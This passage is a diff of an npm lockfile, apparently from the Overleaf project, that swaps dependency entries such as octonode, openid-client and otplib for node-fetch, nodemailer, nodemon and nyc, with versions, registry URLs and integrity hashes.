+- "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==",
+- "devOptional": true
++ "node-addon-api": {
++ "version": "3.2.1",
++ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz",
++ "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A=="
+ },
+- "octonode": {
+- "version": "0.9.5",
+- "resolved": "https://registry.npmjs.org/octonode/-/octonode-0.9.5.tgz",
+- "integrity": "sha512-l+aX9jNVkaagh7u/q2QpNKdL8XUagdztl+ebXxBRU6FJ1tpRxAH/ygIuWh0h7eS491BsyH6bb0QZIQEC2+u5oA==",
++ "node-fetch": {
++ "version": "2.6.7",
++ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz",
++ "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==",
+ "requires": {
+- "bluebird": "^3.5.0",
+- "deep-extend": "^0.6.0",
+- "randomstring": "^1.1.5",
+- "request": "^2.72.0"
++ "whatwg-url": "^5.0.0"
++ },
++ "dependencies": {
++ "tr46": {
++ "version": "0.0.3",
++ "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
++ "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o="
++ },
++ "webidl-conversions": {
++ "version": "3.0.1",
++ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
++ "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE="
++ },
++ "whatwg-url": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
++ "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=",
++ "requires": {
++ "tr46": "~0.0.3",
++ "webidl-conversions": "^3.0.0"
++ }
++ }
+ }
+ },
+- "oidc-token-hash": {
+- "version": "5.0.1",
+- "resolved": "https://registry.npmjs.org/oidc-token-hash/-/oidc-token-hash-5.0.1.tgz",
+- "integrity": "sha512-EvoOtz6FIEBzE+9q253HsLCVRiK/0doEJ2HCvvqMQb3dHZrP3WlJKYtJ55CRTw4jmYomzH4wkPuCj/I3ZvpKxQ=="
+- },
+- "on-finished": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz",
+- "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=",
+- "requires": {
+- "ee-first": "1.1.1"
+- }
++ "node-forge": {
++ "version": "1.2.1",
++ "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.2.1.tgz",
++ "integrity": "sha512-Fcvtbb+zBcZXbTTVwqGA5W+MKBj56UjVRevvchv5XrcyXbmNdesfZL37nlcWOfpgHhgmxApw3tQbTr4CqNmX4w=="
+ },
+- "on-headers": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz",
+- "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA=="
++ "node-gyp-build": {
++ "version": "3.9.0",
++ "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-3.9.0.tgz",
++ "integrity": "sha512-zLcTg6P4AbcHPq465ZMFNXx7XpKKJh+7kkN699NiQWisR2uWYOWNWqRHAmbnmKiL4e9aLSlmy5U7rEMUXV59+A=="
+ },
+- "once": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+- "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
++ "node-preload": {
++ "version": "0.2.1",
++ "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz",
++ "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==",
++ "dev": true,
+ "requires": {
+- "wrappy": "1"
++ "process-on-spawn": "^1.0.0"
+ }
+ },
+- "onetime": {
+- "version": "5.1.2",
+- "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz",
+- "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==",
+- "requires": {
+- "mimic-fn": "^2.1.0"
+- }
++ "node-releases": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.1.tgz",
++ "integrity": "sha512-CqyzN6z7Q6aMeF/ktcMVTzhAHCEpf8SOarwpzpf8pNBY2k5/oM34UHldUwp8VKI7uxct2HxSRdJjBaZeESzcxA=="
+ },
+- "open": {
+- "version": "8.4.0",
+- "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz",
+- "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==",
+- "devOptional": true,
+- "requires": {
+- "define-lazy-prop": "^2.0.0",
+- "is-docker": "^2.1.1",
+- "is-wsl": "^2.2.0"
+- }
++ "node-uuid": {
++ "version": "1.4.8",
++ "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.8.tgz",
++ "integrity": "sha1-sEDrCSOWivq/jTL7HxfxFn/auQc="
+ },
+- "openid-client": {
+- "version": "3.15.10",
+- "resolved": "https://registry.npmjs.org/openid-client/-/openid-client-3.15.10.tgz",
+- "integrity": "sha512-C9r6/iVzNQ7aGp0krS5mFIY5nY8AH6ajYCH0Njns6AXy2fM3Khw/dY97QlaFJWW2QLhec6xfEk23LZw9EeX66Q==",
++ "nodemailer": {
++ "version": "6.7.2",
++ "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.7.2.tgz",
++ "integrity": "sha512-Dz7zVwlef4k5R71fdmxwR8Q39fiboGbu3xgswkzGwczUfjp873rVxt1O46+Fh0j1ORnAC6L9+heI8uUpO6DT7Q=="
++ },
++ "nodemailer-mandrill-transport": {
++ "version": "1.2.0",
++ "resolved": "https://registry.npmjs.org/nodemailer-mandrill-transport/-/nodemailer-mandrill-transport-1.2.0.tgz",
++ "integrity": "sha1-aZaQKdJZtGkhzBLbcMoVUb85SwQ=",
+ "requires": {
+- "@types/got": "^9.6.9",
+- "base64url": "^3.0.1",
+- "got": "^9.6.0",
+- "jose": "^1.27.1",
+- "lru-cache": "^6.0.0",
+- "make-error": "^1.3.6",
+- "object-hash": "^2.0.1",
+- "oidc-token-hash": "^5.0.0",
+- "p-any": "^3.0.0"
+- },
+- "dependencies": {
+- "jose": {
+- "version": "1.28.1",
+- "resolved": "https://registry.npmjs.org/jose/-/jose-1.28.1.tgz",
+- "integrity": "sha512-6JK28rFu5ENp/yxMwM+iN7YeaInnY9B9Bggjkz5fuwLiJhbVrl2O4SJr65bdNBPl9y27fdC3Mymh+FVCvozLIg==",
+- "requires": {
+- "@panva/asn1.js": "^1.0.0"
+- }
+- },
+- "lru-cache": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+- "requires": {
+- "yallist": "^4.0.0"
+- }
+- },
+- "yallist": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+- }
++ "addressparser": "^1.0.1",
++ "extend": "^3.0.0",
++ "mandrill-api": "^1.0.45"
+ }
+ },
+- "optional-require": {
+- "version": "1.1.8",
+- "resolved": "https://registry.npmjs.org/optional-require/-/optional-require-1.1.8.tgz",
+- "integrity": "sha512-jq83qaUb0wNg9Krv1c5OQ+58EK+vHde6aBPzLvPPqJm89UQWsvSuFy9X/OSNJnFeSOKo7btE0n8Nl2+nE+z5nA==",
++ "nodemailer-ses-transport": {
++ "version": "1.5.1",
++ "resolved": "https://registry.npmjs.org/nodemailer-ses-transport/-/nodemailer-ses-transport-1.5.1.tgz",
++ "integrity": "sha1-3AWYwb9T6GUuYy6PMWks4CLX3qk=",
+ "requires": {
+- "require-at": "^1.0.6"
++ "aws-sdk": "^2.2.36"
+ }
+ },
+- "optionator": {
+- "version": "0.8.3",
+- "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
+- "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
++ "nodemon": {
++ "version": "2.0.19",
++ "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.19.tgz",
++ "integrity": "sha512-4pv1f2bMDj0Eeg/MhGqxrtveeQ5/G/UVe9iO6uTZzjnRluSA4PVWf8CW99LUPwGB3eNIA7zUFoP77YuI7hOc0A==",
+ "dev": true,
+ "requires": {
+- "deep-is": "~0.1.3",
+- "fast-levenshtein": "~2.0.6",
+- "levn": "~0.3.0",
+- "prelude-ls": "~1.1.2",
+- "type-check": "~0.3.2",
+- "word-wrap": "~1.2.3"
++ "chokidar": "^3.5.2",
++ "debug": "^3.2.7",
++ "ignore-by-default": "^1.0.1",
++ "minimatch": "^3.0.4",
++ "pstree.remy": "^1.1.8",
++ "semver": "^5.7.1",
++ "simple-update-notifier": "^1.0.7",
++ "supports-color": "^5.5.0",
++ "touch": "^3.1.0",
++ "undefsafe": "^2.0.5"
+ },
+ "dependencies": {
+- "levn": {
+- "version": "0.3.0",
+- "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
+- "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=",
++ "debug": {
++ "version": "3.2.7",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
++ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dev": true,
+ "requires": {
+- "prelude-ls": "~1.1.2",
+- "type-check": "~0.3.2"
++ "ms": "^2.1.1"
+ }
+ },
+- "prelude-ls": {
+- "version": "1.1.2",
+- "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
+- "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=",
++ "has-flag": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
++ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
+ "dev": true
+ },
+- "type-check": {
+- "version": "0.3.2",
+- "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz",
+- "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
++ "semver": {
++ "version": "5.7.1",
++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
++ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
++ "dev": true
++ },
++ "supports-color": {
++ "version": "5.5.0",
++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
++ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+- "prelude-ls": "~1.1.2"
++ "has-flag": "^3.0.0"
+ }
+ }
+ }
+ },
+- "options": {
+- "version": "0.0.6",
+- "resolved": "https://registry.npmjs.org/options/-/options-0.0.6.tgz",
+- "integrity": "sha1-7CLTEoBrtT5zF3Pnza788cZDEo8="
+- },
+- "ordered-read-streams": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/ordered-read-streams/-/ordered-read-streams-1.0.1.tgz",
+- "integrity": "sha1-d8DLN8QVJdZBZtmQ/61+xqDhNj4=",
+- "dev": true,
++ "nopt": {
++ "version": "5.0.0",
++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
++ "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
+ "requires": {
+- "readable-stream": "^2.0.1"
+- },
+- "dependencies": {
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+- "dev": true
+- },
+- "readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "dev": true,
+- "requires": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "dev": true,
+- "requires": {
+- "safe-buffer": "~5.1.0"
+- }
+- }
++ "abbrev": "1"
+ }
+ },
+- "os-tmpdir": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
+- "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ="
++ "normalize-path": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
++ "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
+ },
+- "ospath": {
+- "version": "1.2.2",
+- "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz",
+- "integrity": "sha1-EnZjl3Sj+O8lcvf+QoDg6kVQwHs=",
++ "normalize-range": {
++ "version": "0.1.2",
++ "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
++ "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=",
+ "dev": true
+ },
+- "otplib": {
+- "version": "12.0.1",
+- "resolved": "https://registry.npmjs.org/otplib/-/otplib-12.0.1.tgz",
+- "integrity": "sha512-xDGvUOQjop7RDgxTQ+o4pOol0/3xSZzawTiPKRrHnQWAy0WjhNs/5HdIDJCrqC4MBynmjXgULc6YfioaxZeFgg==",
++ "now-and-later": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz",
++ "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==",
++ "dev": true,
+ "requires": {
+- "@otplib/core": "^12.0.1",
+- "@otplib/preset-default": "^12.0.1",
+- "@otplib/preset-v11": "^12.0.1"
++ "once": "^1.3.2"
+ }
+ },
+- "overleaf-editor": {
+- "version": "file:services/history-v1",
++ "npm-run-path": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
++ "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
++ "devOptional": true,
+ "requires": {
+- "@overleaf/logger": "^3.1.0",
+- "@overleaf/metrics": "^4.0.0",
+- "@overleaf/o-error": "^3.4.0",
+- "@overleaf/object-persistor": "^1.0.1",
+- "archiver": "^5.3.0",
+- "basic-auth": "^2.0.1",
+- "bluebird": "^3.7.2",
+- "body-parser": "^1.19.0",
+- "bunyan": "^1.8.12",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "check-types": "^11.1.2",
+- "command-line-args": "^3.0.3",
+- "config": "^1.19.0",
+- "cookie-parser": "~1.4.5",
+- "cors": "^2.8.5",
+- "express": "^4.17.1",
+- "fs-extra": "^9.0.1",
+- "generic-pool": "^2.1.1",
+- "helmet": "^3.22.0",
+- "http-status": "^1.4.2",
+- "istanbul": "^0.4.5",
+- "jsonwebtoken": "^8.5.1",
+- "knex": "^0.21.17",
+- "lodash": "^4.17.19",
+- "mocha": "^8.4.0",
+- "node-fetch": "^2.6.7",
+- "overleaf-editor-core": "*",
+- "pg": "^8.7.1",
+- "sinon": "^9.0.2",
+- "string-to-stream": "^1.0.1",
+- "swagger-client": "^3.10.0",
+- "swagger-tools": "^0.10.4",
+- "temp": "^0.8.3",
+- "throng": "^4.0.0",
+- "tsscmp": "^1.0.6",
+- "utf-8-validate": "^5.0.4",
+- "yauzl": "^2.9.1"
+- },
+- "dependencies": {
+- "array-back": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz",
+- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=",
+- "requires": {
+- "typical": "^2.6.0"
+- }
+- },
+- "check-types": {
+- "version": "11.1.2",
+- "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz",
+- "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ=="
+- },
+- "command-line-args": {
+- "version": "3.0.5",
+- "resolved": "https://registry.npmjs.org/command-line-args/-/command-line-args-3.0.5.tgz",
+- "integrity": "sha1-W9StReeYPlwTRJGOQCgO4mk8WsA=",
+- "requires": {
+- "array-back": "^1.0.4",
+- "feature-detect-es6": "^1.3.1",
+- "find-replace": "^1.0.2",
+- "typical": "^2.6.0"
+- }
+- },
+- "find-replace": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-1.0.3.tgz",
+- "integrity": "sha1-uI5zZNLZyVlVnziMZmcNYTBEH6A=",
+- "requires": {
+- "array-back": "^1.0.4",
+- "test-value": "^2.1.0"
+- }
+- },
+- "fs-extra": {
+- "version": "9.1.0",
+- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
+- "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
+- "requires": {
+- "at-least-node": "^1.0.0",
+- "graceful-fs": "^4.2.0",
+- "jsonfile": "^6.0.1",
+- "universalify": "^2.0.0"
+- }
+- },
+- "test-value": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz",
+- "integrity": "sha1-Edpv9nDzRxpztiXKTz/c97t0gpE=",
+- "requires": {
+- "array-back": "^1.0.3",
+- "typical": "^2.6.0"
+- }
+- }
++ "path-key": "^3.0.0"
+ }
+ },
+- "overleaf-editor-core": {
+- "version": "file:libraries/overleaf-editor-core",
++ "npmlog": {
++ "version": "5.0.1",
++ "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
++ "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
+ "requires": {
+- "@overleaf/o-error": "^3.4.0",
+- "@types/bluebird": "^3.5.30",
+- "bluebird": "^3.1.1",
+- "chai": "^3.3.0",
+- "check-types": "^5.1.0",
+- "istanbul": "^0.4.5",
+- "lodash": "^4.17.19",
+- "mocha": "^6.1.4",
+- "typescript": "^4.5.5"
++ "are-we-there-yet": "^2.0.0",
++ "console-control-strings": "^1.1.0",
++ "gauge": "^3.0.0",
++ "set-blocking": "^2.0.0"
++ }
++ },
++ "nth-check": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz",
++ "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==",
++ "dev": true,
++ "requires": {
++ "boolbase": "^1.0.0"
++ }
++ },
++ "num2fraction": {
++ "version": "1.2.2",
++ "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz",
++ "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=",
++ "dev": true
++ },
++ "nvd3": {
++ "version": "1.8.6",
++ "resolved": "https://registry.npmjs.org/nvd3/-/nvd3-1.8.6.tgz",
++ "integrity": "sha1-LT66dL8zNjtRAevx0JPFmlOuc8Q=",
++ "requires": {}
++ },
++ "nwsapi": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz",
++ "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==",
++ "dev": true
++ },
++ "nyc": {
++ "version": "15.1.0",
++ "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz",
++ "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==",
++ "dev": true,
++ "requires": {
++ "@istanbuljs/load-nyc-config": "^1.0.0",
++ "@istanbuljs/schema": "^0.1.2",
++ "caching-transform": "^4.0.0",
++ "convert-source-map": "^1.7.0",
++ "decamelize": "^1.2.0",
++ "find-cache-dir": "^3.2.0",
++ "find-up": "^4.1.0",
++ "foreground-child": "^2.0.0",
++ "get-package-type": "^0.1.0",
++ "glob": "^7.1.6",
++ "istanbul-lib-coverage": "^3.0.0",
++ "istanbul-lib-hook": "^3.0.0",
++ "istanbul-lib-instrument": "^4.0.0",
++ "istanbul-lib-processinfo": "^2.0.2",
++ "istanbul-lib-report": "^3.0.0",
++ "istanbul-lib-source-maps": "^4.0.0",
++ "istanbul-reports": "^3.0.2",
++ "make-dir": "^3.0.0",
++ "node-preload": "^0.2.1",
++ "p-map": "^3.0.0",
++ "process-on-spawn": "^1.0.0",
++ "resolve-from": "^5.0.0",
++ "rimraf": "^3.0.0",
++ "signal-exit": "^3.0.2",
++ "spawn-wrap": "^2.0.0",
++ "test-exclude": "^6.0.0",
++ "yargs": "^15.0.2"
+ },
+ "dependencies": {
+- "ansi-colors": {
+- "version": "3.2.3",
+- "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.3.tgz",
+- "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==",
+- "dev": true
+- },
+- "ansi-regex": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+- "dev": true
+- },
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
++ "ansi-styles": {
++ "version": "4.3.0",
++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
+ "requires": {
+- "sprintf-js": "~1.0.2"
++ "color-convert": "^2.0.1"
+ }
+ },
+ "camelcase": {
+@@ -59180,298 +47486,101 @@
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+ "dev": true
+ },
+- "chai": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/chai/-/chai-3.5.0.tgz",
+- "integrity": "sha1-TQJjewZ/6Vi9v906QOxW/vc3Mkc=",
+- "dev": true,
+- "requires": {
+- "assertion-error": "^1.0.1",
+- "deep-eql": "^0.1.3",
+- "type-detect": "^1.0.0"
+- }
+- },
+ "cliui": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+- "dev": true,
+- "requires": {
+- "string-width": "^3.1.0",
+- "strip-ansi": "^5.2.0",
+- "wrap-ansi": "^5.1.0"
+- }
+- },
+- "debug": {
+- "version": "3.2.6",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
+- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
++ "version": "6.0.0",
++ "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
++ "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
+ "dev": true,
+ "requires": {
+- "ms": "^2.1.1"
++ "string-width": "^4.2.0",
++ "strip-ansi": "^6.0.0",
++ "wrap-ansi": "^6.2.0"
+ }
+ },
+- "deep-eql": {
+- "version": "0.1.3",
+- "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-0.1.3.tgz",
+- "integrity": "sha1-71WKyrjeJSBs1xOQbXTlaTDrafI=",
++ "find-cache-dir": {
++ "version": "3.3.2",
++ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
++ "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
+ "dev": true,
+ "requires": {
+- "type-detect": "0.1.1"
+- },
+- "dependencies": {
+- "type-detect": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-0.1.1.tgz",
+- "integrity": "sha1-C6XsKohWQORw6k6FBZcZANrFiCI=",
+- "dev": true
+- }
++ "commondir": "^1.0.1",
++ "make-dir": "^3.0.2",
++ "pkg-dir": "^4.1.0"
+ }
+ },
+- "diff": {
+- "version": "3.5.0",
+- "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
+- "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+- "dev": true
+- },
+- "emoji-regex": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+- "dev": true
+- },
+- "escape-string-regexp": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+- "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=",
+- "dev": true
+- },
+ "find-up": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+- "dev": true,
+- "requires": {
+- "locate-path": "^3.0.0"
+- }
+- },
+- "flat": {
+- "version": "4.1.1",
